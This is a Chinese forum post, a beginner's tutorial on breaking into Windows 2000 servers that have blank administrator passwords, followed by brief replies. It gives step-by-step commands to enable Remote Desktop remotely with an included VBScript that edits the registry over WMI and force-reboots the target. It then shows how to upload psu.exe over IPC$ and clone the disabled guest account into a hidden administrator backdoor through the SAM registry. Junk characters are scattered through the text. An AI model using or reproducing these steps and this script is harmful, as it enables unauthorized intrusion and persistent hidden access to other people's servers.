一次简单的3389入侵

firelinux

一次简单的3389入侵过程 ! k2 E! H5 G- q4 q原创：caozhe（草哲） 来源：中国欲网技术论坛--草哲 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ 于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 要入侵，我建议你在win2000环境下来*作！ 7 ~% k# |" T$ D4 _首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ 扫描的X-Scan V2.3、WINNTAutoAttack、流光！ / x# m+ x3 s1 G3 Y% t' z0 sX-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ 远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ 3 E7 C6 ~/ b8 F( R) j7 T: D5 eOK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 运行CMD（2000下的DOS），我们给它开终端！ : C( k+ h% ?5 n8 O命令如下！ cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） 9 _" ]& n/ w" ?因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ : N" M) m3 k9 v 一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 7 L2 R+ P3 R* k1 B8 p安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ ' p- i4 k* c6 y3 q/ m6 k# ^: R ; N* X2 ^$ f3 o回到DOS下！我们建立IPC$连接！ net use \\120.0.0.1\ipc$ "" /user:"administrator" - ?. x7 b8 O8 }) s) \. g5 K! z这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ copy psu.exe \\120.0.0.1\admin$\system32 " P& z4 E0 R. J; A' ~! o上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ 假设guest用户被禁用，我们就是要利用guest做后门帐户！ ' x& ?. p4 t K9 H0 V在该服务器运行CMD，在命令行下输入 - p1 |; [( W, o. y# p6 z/ cpsu -p regedit -i PID 6 k6 K8 N$ Q8 O" M, k这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ : [& b: X9 t9 d: ~; E看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 2 }/ g+ b/ e5 z7 p, D/ Q0 _psu -p regedit -i 5458 这样直接打开注册表，可以读取本地sam的信息。 % [: M' m+ P( I' B$ }! ~* a打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users - {. [9 P( z' S* R) P. Q5 H! X3 ^下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 查看administrator的类型，是if4，再看guest的是if5 好了，知道了类型后，打开 8 |3 c% p) C$ E6 ^& o, zHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 1 t5 l6 E! T: k8 t+ }2 i这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 , l7 h& K b3 ~0 O" V; x+ v( mHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 7 u; r& h4 h# f5 C! |双击右侧的F，把刚复制的粘贴到里面！ . i" B, u$ S' l+ ^( s做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 ' [4 Z, o$ C: n) m( r9 ^: E5 b0 J和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 打开CMD，在命令行下输入 7 O1 i) Y: ^# Q# ]! Q$ o# snet user guest password 8 b. m0 `1 A' W7 s$ G* @这条命令是给guest设置密码，后面的password就是密码 $ f8 F9 R' j6 C, ]" T然后输入 net user guest /active:y 这命令是激活guest帐户，然后我们把他禁用 8 v D$ h9 }- i1 r9 S( y3 {# e. Knet user guest /active:n 9 S$ h" u9 Q+ |! A w% l上面的三行命令必须在DOS下执行！ 4 B/ {9 @' W( R. V' COK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ * Q0 S- i: I0 J9 r: P/ C9 U7 Q而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ " z. Y4 b2 }6 i% i- U4 F" e c注销一下，用guest登陆吧！ P+ G; y* w+ K3 Z6 [; l) G打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ 如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ 0 x/ T( I/ w: u: S9 R- s因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ % W# }* ~5 [7 S g) D6 T 4 Z4 |1 U" z6 i+ c8 N---------------------------------------------------------------------- ' R+ _; Y- X9 g3 i. _7 D8 h- |以下是开终端的脚本，把它存为*.vbe on error resume next set outstreem=wscript.stdout " R5 n1 T' A% S. B B% l9 @set instreem=wscript.stdin 6 F' {+ j! N/ aif (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) 6 @+ j) G5 i5 z- S wscript.quit end if if wscript.arguments.count<3 then 2 R& H7 B: I: V# D8 \. f/ E usage() 7 N" N g% v" t' n* `3 z) c" r wscript.echo "Not enough parameters." wscript.quit $ }. ]7 f q4 Z) k3 a7 ]. x! z kend if $ Y! t$ P @1 r! i. i l, q' [- F ipaddress=wscript.arguments(0) ' i5 d1 F. \6 Gusername=wscript.arguments(1) password=wscript.arguments(2) ]( o. p; j) y* B- J `if wscript.arguments.count>3 then port=wscript.arguments(3) else ( m, d% A9 Q- j% L3 l port=3389 end if ( n- Q3 L5 }5 H6 L! U( U4 tif not isnumeric(port) or port<1 or port>65000 then : p7 {0 u$ ]' y: ^, U* P wscript.echo "The number of port is error." wscript.quit end if 9 M6 w1 z( Y5 g8 C' [' Vif wscript.arguments.count>4 then / a+ i$ z0 a5 G0 f% V1 z" i reboot=wscript.arguments(4) 9 M# X: d4 L3 t1 Relse reboot="" end if ' w+ g, u, J* { : f0 d' S0 F7 v% ?. N. u1 tusage() outstreem.write "Conneting "&ipaddress&" ...." 2 j# Y; P2 Q' }0 j3 Z6 {set objlocator=createobject("wbemscripting.swbemlocator") , u) U( z! m4 o0 y7 x& c; F. ]) Y# [set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) . I" {: w* O9 ^+ i: kshowerror(err.number) objswbemservices.security_.privileges.add 23,true objswbemservices.security_.privileges.add 18,true outstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") ; D$ [5 _! `, |for each objinstoscaption in colinstoscaption 0 \; @: W9 n, G6 k, w8 k$ F/ ~ if instr(objinstoscaption.caption,"Server")>0 then ( a0 C: |& ~* n ? wscript.echo "OK!" & z6 @( E5 U$ T& d! E$ t- b0 g else wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit end if next I) Y& @1 j" v }' u( Z- Coutstreem.write "Writing into registry ...." " `5 M; J* L1 B) [7 Y/ O0 xset objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 ; z4 h& ]) P& _: U! @4 l; ~' i8 owith objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" 2 J, ~; Q8 \5 M9 R2 }, x.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 * N- q+ {5 r' T- t1 R.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" e3 l! s. v( a+ G.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port % a% @7 }0 b' l# |+ `5 Nend with : D! {& f! d! h! G; p1 [showerror(err.number) rebt=lcase(reboot) flag=0 4 `5 ^+ z: L) q* ]& F% kif rebt="/r" or rebt="-r" or rebt="\r" then flag=2 * I% V3 w. G2 Q- x* gif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 4 d. X, h5 a; B' X$ z. v3 Lif flag<>0 then outstreem.write "Now, reboot target...." . @# B; Q2 k) U& G {% p strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) 1 Z; L* [, V5 ~ next 7 ?; y# H0 f) K! R showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," 0 g* W- y6 }6 Z6 C- ?0 Dend if 0 D! L# G* G" M: ]0 G# p/ ]wscript.echo "You can logon terminal services on "&port&" later. Good luck!" function showerror(errornumber) if errornumber Then 6 @# N6 G+ z. C) y$ [ R( z/ s wscript.echo "Error 0x"&cstr(hex(err.number))&" ." 1 j: J; k) t9 c9 N if err.description <> "" then wscript.echo "Error description: "&err.description&"." " f1 P5 w3 r+ w" S end if wscript.quit else wscript.echo "OK!" 1 T- U' f7 S6 m2 `end if , L T6 j" O9 h8 Z& \) Dend function 8 ?8 U: E) |1 ^function usage() 1 w- o$ k8 m! e, y; twscript.echo string(79,"*") wscript.echo "ROTS v1.05" : P# K, @. e0 hwscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" & U( m# C; U- n+ ^wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" 9 M! o# j$ m& Y, T e' O& Bwscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." 8 r) m) }! j% b* {# ~* Lwscript.echo "/fr: auto force reboot target." - a1 @" W9 E. |! gwscript.echo string(79,"*")&vbcrlf end function 8 h5 F& Y+ J% ~% ]7 J 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
, ~( D$ s& C# J6 t% f9 I8 X2 b* Q还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

/ E2 v4 \; a1 X9 m
7 ~6 j0 c0 Q: F" G$ A

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

; h( \4 g2 w/ V! u+ _4 t: i" _

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。